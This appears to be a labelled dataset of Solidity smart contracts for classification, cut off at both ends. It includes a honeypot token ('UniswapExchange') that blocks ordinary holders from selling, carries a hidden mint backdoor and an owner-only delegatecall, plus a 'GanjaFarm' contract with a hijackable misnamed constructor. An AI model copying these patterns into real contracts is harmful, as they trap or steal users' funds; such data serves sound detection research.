return (openingTime < block.timestamp && block.timestamp < closingTime);
}
function () payable external {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) payable public{
uint256 weiAmount = msg.value;
if (checksOn) {
_preValidatePurchase(_beneficiary, weiAmount);
}
uint256 tokens = _getTokenAmount(weiAmount);
tokensRaised = tokensRaised.add(tokens);
minterContract.mint(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_forwardFunds();
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount)
internal
view
onlyWhileOpen
{
require(_beneficiary != address(0));
require(_weiAmount != 0 && _weiAmount > minInvestmentValue);
require(tokensRaised.add(_getTokenAmount(_weiAmount)) <= cap);
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
bool isTransferDone = wallet.call.value(msg.value).gas(gasAmount)();
emit TokensTransfer (
msg.sender,
wallet,
msg.value,
isTransferDone
);
}
} | 1 | 4,495 |
pragma solidity ^0.4.23;
pragma experimental "v0.5.0";
pragma experimental ABIEncoderV2;
library AddressExtension {
function isValid(address _address) internal pure returns (bool) {
return 0 != _address;
}
function isAccount(address _address) internal view returns (bool result) {
assembly {
result := iszero(extcodesize(_address))
}
}
function toBytes(address _address) internal pure returns (bytes b) {
assembly {
let m := mload(0x40)
mstore(add(m, 20), xor(0x140000000000000000000000000000000000000000, _address))
mstore(0x40, add(m, 52))
b := m
}
}
}
library Math {
struct Fraction {
uint256 numerator;
uint256 denominator;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 r) {
r = a * b;
require((a == 0) || (r / a == b));
}
function div(uint256 a, uint256 b) internal pure returns (uint256 r) {
r = a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 r) {
require((r = a - b) <= a);
}
function add(uint256 a, uint256 b) internal pure returns (uint256 r) {
require((r = a + b) >= a);
}
function min(uint256 x, uint256 y) internal pure returns (uint256 r) {
return x <= y ? x : y;
}
function max(uint256 x, uint256 y) internal pure returns (uint256 r) {
return x >= y ? x : y;
}
function mulDiv(uint256 value, uint256 m, uint256 d) internal pure returns (uint256 r) {
r = value * m;
if (r / value == m) {
r /= d;
} else {
r = mul(value / d, m);
}
}
function mulDivCeil(uint256 value, uint256 m, uint256 d) internal pure returns (uint256 r) {
r = value * m;
if (r / value == m) {
r /= d;
if (r % d != 0) {
r += 1;
}
} else {
r = mul(value / d, m);
if (value % d != 0) {
r += 1;
}
}
}
function mul(uint256 x, Fraction memory f) internal pure returns (uint256) {
return mulDiv(x, f.numerator, f.denominator);
}
function mulCeil(uint256 x, Fraction memory f) internal pure returns (uint256) {
return mulDivCeil(x, f.numerator, f.denominator);
}
function div(uint256 x, Fraction memory f) internal pure returns (uint256) {
return mulDiv(x, f.denominator, f.numerator);
}
function divCeil(uint256 x, Fraction memory f) internal pure returns (uint256) {
return mulDivCeil(x, f.denominator, f.numerator);
}
}
contract FsTKAllocation {
function initialize(uint256 _vestedAmount) public;
}
contract FsTKAuthority {
function isAuthorized(address sender, address _contract, bytes data) public view returns (bool);
function isApproved(bytes32 hash, uint256 approveTime, bytes approveToken) public view returns (bool);
function validate() public pure returns (bool);
}
contract Authorizable {
event SetFsTKAuthority(FsTKAuthority indexed _address);
modifier onlyFsTKAuthorized {
require(fstkAuthority.isAuthorized(msg.sender, this, msg.data));
_;
}
modifier onlyFsTKApproved(bytes32 hash, uint256 approveTime, bytes approveToken) {
require(fstkAuthority.isApproved(hash, approveTime, approveToken));
_;
}
FsTKAuthority internal fstkAuthority;
constructor(FsTKAuthority _fstkAuthority) internal {
fstkAuthority = _fstkAuthority;
}
function setFsTKAuthority(FsTKAuthority _fstkAuthority) public onlyFsTKAuthorized {
require(_fstkAuthority.validate());
emit SetFsTKAuthority(fstkAuthority = _fstkAuthority);
}
}
contract ERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function balanceOf(address owner) public view returns (uint256);
function allowance(address owner, address spender) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
}
contract SecureERC20 is ERC20 {
event SetERC20ApproveChecking(bool approveChecking);
function approve(address spender, uint256 expectedValue, uint256 newValue) public returns (bool);
function increaseAllowance(address spender, uint256 value) public returns (bool);
function decreaseAllowance(address spender, uint256 value, bool strict) public returns (bool);
function setERC20ApproveChecking(bool approveChecking) public;
}
contract FsTKToken {
event SetupDirectDebit(address indexed debtor, address indexed receiver, DirectDebitInfo info);
event TerminateDirectDebit(address indexed debtor, address indexed receiver);
event WithdrawDirectDebitFailure(address indexed debtor, address indexed receiver);
event SetMetadata(string metadata);
event SetLiquid(bool liquidity);
event SetDelegate(bool isDelegateEnable);
event SetDirectDebit(bool isDirectDebitEnable);
struct DirectDebitInfo {
uint256 amount;
uint256 startTime;
uint256 interval;
}
struct DirectDebit {
DirectDebitInfo info;
uint256 epoch;
}
struct Instrument {
uint256 allowance;
DirectDebit directDebit;
}
struct Account {
uint256 balance;
uint256 nonce;
mapping (address => Instrument) instruments;
}
function spendableAllowance(address owner, address spender) public view returns (uint256);
function transfer(uint256[] data) public returns (bool);
function transferAndCall(address to, uint256 value, bytes data) public payable returns (bool);
function delegateTransferAndCall(
uint256 nonce,
uint256 gasAmount,
address to,
uint256 value,
bytes data,
uint8 v,
bytes32 r,
bytes32 s
) public returns (bool);
function directDebitOf(address debtor, address receiver) public view returns (DirectDebit);
function setupDirectDebit(address receiver, DirectDebitInfo info) public returns (bool);
function terminateDirectDebit(address receiver) public returns (bool);
function withdrawDirectDebit(address debtor) public returns (bool);
function withdrawDirectDebit(address[] debtors, bool strict) public returns (bool result);
}
contract AbstractToken is SecureERC20, FsTKToken {
using AddressExtension for address;
using Math for uint256;
modifier liquid {
require(isLiquid);
_;
}
modifier canUseDirectDebit {
require(isDirectDebitEnable);
_;
}
bool public erc20ApproveChecking;
bool public isLiquid = true;
bool public isDelegateEnable;
bool public isDirectDebitEnable;
string public metadata;
mapping(address => Account) internal accounts;
constructor(string _metadata) public {
metadata = _metadata;
}
function balanceOf(address owner) public view returns (uint256) {
return accounts[owner].balance;
}
function allowance(address owner, address spender) public view returns (uint256) {
return accounts[owner].instruments[spender].allowance;
}
function transfer(address to, uint256 value) public liquid returns (bool) {
Account storage senderAccount = accounts[msg.sender];
uint256 senderBalance = senderAccount.balance;
require(value <= senderBalance);
senderAccount.balance = senderBalance - value;
accounts[to].balance += value;
emit Transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public liquid returns (bool) {
Account storage fromAccount = accounts[from];
uint256 fromBalance = fromAccount.balance;
Instrument storage senderInstrument = fromAccount.instruments[msg.sender];
uint256 senderAllowance = senderInstrument.allowance;
require(value <= fromBalance);
require(value <= senderAllowance);
fromAccount.balance = fromBalance - value;
senderInstrument.allowance = senderAllowance - value;
accounts[to].balance += value;
emit Transfer(from, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
Instrument storage spenderInstrument = accounts[msg.sender].instruments[spender];
if (erc20ApproveChecking) {
require((value == 0) || (spenderInstrument.allowance == 0));
}
spenderInstrument.allowance = value;
emit Approval(msg.sender, spender, value);
return true;
}
function setERC20ApproveChecking(bool approveChecking) public {
emit SetERC20ApproveChecking(erc20ApproveChecking = approveChecking);
}
function approve(address spender, uint256 expectedValue, uint256 newValue) public returns (bool) {
Instrument storage spenderInstrument = accounts[msg.sender].instruments[spender];
require(spenderInstrument.allowance == expectedValue);
spenderInstrument.allowance = newValue;
emit Approval(msg.sender, spender, newValue);
return true;
}
function increaseAllowance(address spender, uint256 value) public returns (bool) {
Instrument storage spenderInstrument = accounts[msg.sender].instruments[spender];
uint256 newValue = spenderInstrument.allowance.add(value);
spenderInstrument.allowance = newValue;
emit Approval(msg.sender, spender, newValue);
return true;
}
function decreaseAllowance(address spender, uint256 value, bool strict) public returns (bool) {
Instrument storage spenderInstrument = accounts[msg.sender].instruments[spender];
uint256 currentValue = spenderInstrument.allowance;
uint256 newValue;
if (strict) {
newValue = currentValue.sub(value);
} else if (value < currentValue) {
newValue = currentValue - value;
}
spenderInstrument.allowance = newValue;
emit Approval(msg.sender, spender, newValue);
return true;
}
function setMetadata0(string _metadata) internal {
emit SetMetadata(metadata = _metadata);
}
function setLiquid0(bool liquidity) internal {
emit SetLiquid(isLiquid = liquidity);
}
function setDelegate(bool delegate) public {
emit SetDelegate(isDelegateEnable = delegate);
}
function setDirectDebit(bool directDebit) public {
emit SetDirectDebit(isDirectDebitEnable = directDebit);
}
function spendableAllowance(address owner, address spender) public view returns (uint256) {
Account storage ownerAccount = accounts[owner];
return Math.min(
ownerAccount.instruments[spender].allowance,
ownerAccount.balance
);
}
function transfer(uint256[] data) public liquid returns (bool) {
Account storage senderAccount = accounts[msg.sender];
uint256 totalValue;
for (uint256 i = 0; i < data.length; i++) {
address receiver = address(data[i] >> 96);
uint256 value = data[i] & 0xffffffffffffffffffffffff;
totalValue = totalValue.add(value);
accounts[receiver].balance += value;
emit Transfer(msg.sender, receiver, value);
}
uint256 senderBalance = senderAccount.balance;
require(totalValue <= senderBalance);
senderAccount.balance = senderBalance - totalValue;
return true;
}
function transferAndCall(address to, uint256 value, bytes data) public payable liquid returns (bool) {
require(to != address(this));
require(transfer(to, value));
require(data.length >= 68);
assembly {
mstore(add(data, 36), value)
mstore(add(data, 68), caller)
}
require(to.call.value(msg.value)(data));
return true;
}
function delegateTransferAndCall(
uint256 nonce,
uint256 gasAmount,
address to,
uint256 value,
bytes data,
uint8 v,
bytes32 r,
bytes32 s
)
public
liquid
returns (bool)
{
require(isDelegateEnable);
require(to != address(this));
address signer = ecrecover(
keccak256(nonce, gasAmount, to, value, data),
v,
r,
s
);
Account storage signerAccount = accounts[signer];
require(nonce == signerAccount.nonce);
signerAccount.nonce = nonce.add(1);
uint256 signerBalance = signerAccount.balance;
uint256 total = value.add(gasAmount);
require(total <= signerBalance);
signerAccount.balance = signerBalance - total;
accounts[to].balance += value;
emit Transfer(signer, to, value);
accounts[msg.sender].balance += gasAmount;
emit Transfer(signer, msg.sender, gasAmount);
if (!to.isAccount()) {
require(data.length >= 68);
assembly {
mstore(add(data, 36), value)
mstore(add(data, 68), signer)
}
require(to.call(data));
}
return true;
}
function directDebitOf(address debtor, address receiver) public view returns (DirectDebit) {
return accounts[debtor].instruments[receiver].directDebit;
}
function setupDirectDebit(
address receiver,
DirectDebitInfo info
)
public
returns (bool)
{
accounts[msg.sender].instruments[receiver].directDebit = DirectDebit({
info: info,
epoch: 0
});
emit SetupDirectDebit(msg.sender, receiver, info);
return true;
}
function terminateDirectDebit(address receiver) public returns (bool) {
delete accounts[msg.sender].instruments[receiver].directDebit;
emit TerminateDirectDebit(msg.sender, receiver);
return true;
}
function calculateTotalDirectDebitAmount(uint256 amount, uint256 epochNow, uint256 epochLast) pure private returns (uint256) {
require(amount > 0);
require(epochNow > epochLast);
return (epochNow - epochLast).mul(amount);
}
function withdrawDirectDebit(address debtor) public liquid canUseDirectDebit returns (bool) {
Account storage debtorAccount = accounts[debtor];
uint256 debtorBalance = debtorAccount.balance;
DirectDebit storage directDebit = debtorAccount.instruments[msg.sender].directDebit;
uint256 epoch = block.timestamp.sub(directDebit.info.startTime) / directDebit.info.interval + 1;
uint256 amount = calculateTotalDirectDebitAmount(directDebit.info.amount, epoch, directDebit.epoch);
require(amount <= debtorBalance);
debtorAccount.balance = debtorBalance - amount;
accounts[msg.sender].balance += amount;
directDebit.epoch = epoch;
emit Transfer(debtor, msg.sender, amount);
return true;
}
function withdrawDirectDebit(address[] debtors, bool strict) public liquid canUseDirectDebit returns (bool result) {
Account storage receiverAccount = accounts[msg.sender];
result = true;
for (uint256 i = 0; i < debtors.length; i++) {
address debtor = debtors[i];
Account storage debtorAccount = accounts[debtor];
uint256 debtorBalance = debtorAccount.balance;
DirectDebit storage directDebit = debtorAccount.instruments[msg.sender].directDebit;
uint256 epoch = block.timestamp.sub(directDebit.info.startTime) / directDebit.info.interval + 1;
uint256 amount = calculateTotalDirectDebitAmount(directDebit.info.amount, epoch, directDebit.epoch);
if (amount > debtorBalance) {
if (strict) {
revert();
}
result = false;
emit WithdrawDirectDebitFailure(debtor, msg.sender);
} else {
debtorAccount.balance = debtorBalance - amount;
receiverAccount.balance += amount;
directDebit.epoch = epoch;
emit Transfer(debtor, msg.sender, amount);
}
}
}
}
contract FunderSmartToken is AbstractToken, Authorizable {
string public constant name = "Funder Smart Token";
string public constant symbol = "FST";
uint256 public constant totalSupply = 330000000 ether;
uint8 public constant decimals = 18;
constructor(
FsTKAuthority _fstkAuthority,
string _metadata,
address coldWallet,
FsTKAllocation allocation
)
AbstractToken(_metadata)
Authorizable(_fstkAuthority)
public
{
uint256 vestedAmount = totalSupply / 12;
accounts[allocation].balance = vestedAmount;
emit Transfer(address(0), allocation, vestedAmount);
allocation.initialize(vestedAmount);
uint256 releaseAmount = totalSupply - vestedAmount;
accounts[coldWallet].balance = releaseAmount;
emit Transfer(address(0), coldWallet, releaseAmount);
}
function setMetadata(string infoUrl) public onlyFsTKAuthorized {
setMetadata0(infoUrl);
}
function setLiquid(bool liquidity) public onlyFsTKAuthorized {
setLiquid0(liquidity);
}
function setERC20ApproveChecking(bool approveChecking) public onlyFsTKAuthorized {
AbstractToken.setERC20ApproveChecking(approveChecking);
}
function setDelegate(bool delegate) public onlyFsTKAuthorized {
AbstractToken.setDelegate(delegate);
}
function setDirectDebit(bool directDebit) public onlyFsTKAuthorized {
AbstractToken.setDirectDebit(directDebit);
}
function transferToken(ERC20 erc20, address to, uint256 value) public onlyFsTKAuthorized {
erc20.transfer(to, value);
}
} | 1 | 3,847 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,368 |
pragma solidity ^0.4.23;
contract GanjaFarm{
uint256 public EGGS_TO_HATCH_1SHRIMP=86400;
uint256 public STARTING_SHRIMP=300;
uint256 PSN=10000;
uint256 PSNH=5000;
bool public initialized=true;
address public ceoAddress;
mapping (address => uint256) public hatcheryShrimp;
mapping (address => uint256) public claimedEggs;
mapping (address => uint256) public lastHatch;
mapping (address => address) public referrals;
uint256 public marketEggs;
function ShrimpFarmer() public{
ceoAddress=msg.sender;
}
function hatchEggs(address ref) public{
require(initialized);
if(referrals[msg.sender]==0 && referrals[msg.sender]!=msg.sender){
referrals[msg.sender]=ref;
}
uint256 eggsUsed=getMyEggs();
uint256 newShrimp=SafeMath.div(eggsUsed,EGGS_TO_HATCH_1SHRIMP);
hatcheryShrimp[msg.sender]=SafeMath.add(hatcheryShrimp[msg.sender],newShrimp);
claimedEggs[msg.sender]=0;
lastHatch[msg.sender]=now;
claimedEggs[referrals[msg.sender]]=SafeMath.add(claimedEggs[referrals[msg.sender]],SafeMath.div(eggsUsed,5));
marketEggs=SafeMath.add(marketEggs,SafeMath.div(eggsUsed,10));
}
function sellEggs() public{
require(initialized);
uint256 hasEggs=getMyEggs();
uint256 eggValue=calculateEggSell(hasEggs);
uint256 fee=devFee(eggValue);
claimedEggs[msg.sender]=0;
lastHatch[msg.sender]=now;
marketEggs=SafeMath.add(marketEggs,hasEggs);
ceoAddress.transfer(fee);
msg.sender.transfer(SafeMath.sub(eggValue,fee));
}
function buyEggs() public payable{
require(initialized);
uint256 eggsBought=calculateEggBuy(msg.value,SafeMath.sub(this.balance,msg.value));
eggsBought=SafeMath.sub(eggsBought,devFee(eggsBought));
ceoAddress.transfer(devFee(msg.value));
claimedEggs[msg.sender]=SafeMath.add(claimedEggs[msg.sender],eggsBought);
}
function calculateTrade(uint256 rt,uint256 rs, uint256 bs) public view returns(uint256){
return SafeMath.div(SafeMath.mul(PSN,bs),SafeMath.add(PSNH,SafeMath.div(SafeMath.add(SafeMath.mul(PSN,rs),SafeMath.mul(PSNH,rt)),rt)));
}
function calculateEggSell(uint256 eggs) public view returns(uint256){
return calculateTrade(eggs,marketEggs,this.balance);
}
function calculateEggBuy(uint256 eth,uint256 contractBalance) public view returns(uint256){
return calculateTrade(eth,contractBalance,marketEggs);
}
function calculateEggBuySimple(uint256 eth) public view returns(uint256){
return calculateEggBuy(eth,this.balance);
}
function devFee(uint256 amount) public view returns(uint256){
return SafeMath.div(SafeMath.mul(amount,4),100);
}
function seedMarket(uint256 eggs) public payable{
require(marketEggs==0);
initialized=true;
marketEggs=eggs;
}
function getFreeShrimp() public{
require(initialized);
require(hatcheryShrimp[msg.sender]==0);
lastHatch[msg.sender]=now;
hatcheryShrimp[msg.sender]=STARTING_SHRIMP;
}
function getBalance() public view returns(uint256){
return this.balance;
}
function getMyShrimp() public view returns(uint256){
return hatcheryShrimp[msg.sender];
}
function getMyEggs() public view returns(uint256){
return SafeMath.add(claimedEggs[msg.sender],getEggsSinceLastHatch(msg.sender));
}
function getEggsSinceLastHatch(address adr) public view returns(uint256){
uint256 secondsPassed=min(EGGS_TO_HATCH_1SHRIMP,SafeMath.sub(now,lastHatch[adr]));
return SafeMath.mul(secondsPassed,hatcheryShrimp[adr]);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return a < b ? a : b;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 4,115 |
pragma solidity ^0.4.23;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20BasicInterface {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
uint8 public decimals;
}
contract BatchTransferWallet is Ownable {
using SafeMath for uint256;
function batchTransferFrom(address _tokenAddress, address[] _investors, uint256[] _tokenAmounts) public {
ERC20BasicInterface token = ERC20BasicInterface(_tokenAddress);
require(_investors.length == _tokenAmounts.length && _investors.length != 0);
for (uint i = 0; i < _investors.length; i++) {
require(_tokenAmounts[i] > 0 && _investors[i] != 0x0);
require(token.transferFrom(msg.sender,_investors[i], _tokenAmounts[i]));
}
}
function balanceOfContract(address _tokenAddress,address _address) public view returns (uint) {
ERC20BasicInterface token = ERC20BasicInterface(_tokenAddress);
return token.balanceOf(_address);
}
function getTotalSendingAmount(uint256[] _amounts) private pure returns (uint totalSendingAmount) {
for (uint i = 0; i < _amounts.length; i++) {
require(_amounts[i] > 0);
totalSendingAmount += _amounts[i];
}
}
event Sent(address from, address to, uint amount);
function transferMulti(address[] receivers, uint256[] amounts) payable {
require(msg.value != 0 && msg.value >= getTotalSendingAmount(amounts));
for (uint256 j = 0; j < amounts.length; j++) {
receivers[j].transfer(amounts[j]);
emit Sent(msg.sender, receivers[j], amounts[j]);
}
}
function withdraw(address _address) public onlyOwner {
require(_address != address(0));
_address.transfer(address(this).balance);
}
} | 1 | 4,780 |
pragma solidity ^0.4.25;
pragma experimental ABIEncoderV2;
contract OwnableContract {
event onTransferOwnership(address newOwner);
address superOwner;
constructor() public {
superOwner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == superOwner);
_;
}
function viewSuperOwner() public view returns (address owner) {
return superOwner;
}
function changeOwner(address newOwner) onlyOwner public {
require(newOwner != superOwner);
superOwner = newOwner;
emit onTransferOwnership(superOwner);
}
}
contract BlockableContract is OwnableContract {
event onBlockHODLs(bool status);
bool public blockedContract;
constructor() public {
blockedContract = false;
}
modifier contractActive() {
require(!blockedContract);
_;
}
function doBlockContract() onlyOwner public {
blockedContract = true;
emit onBlockHODLs(blockedContract);
}
function unBlockContract() onlyOwner public {
blockedContract = false;
emit onBlockHODLs(blockedContract);
}
}
contract ldoh is BlockableContract {
event onCashbackCode(address indexed hodler, address cashbackcode);
event onStoreProfileHash(address indexed hodler, string profileHashed);
event onHodlTokens(address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime);
event onClaimTokens(address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime);
event onReturnAll(uint256 returned);
address internal AXPRtoken;
mapping(address => string) public profileHashed;
mapping(address => address) public cashbackcode;
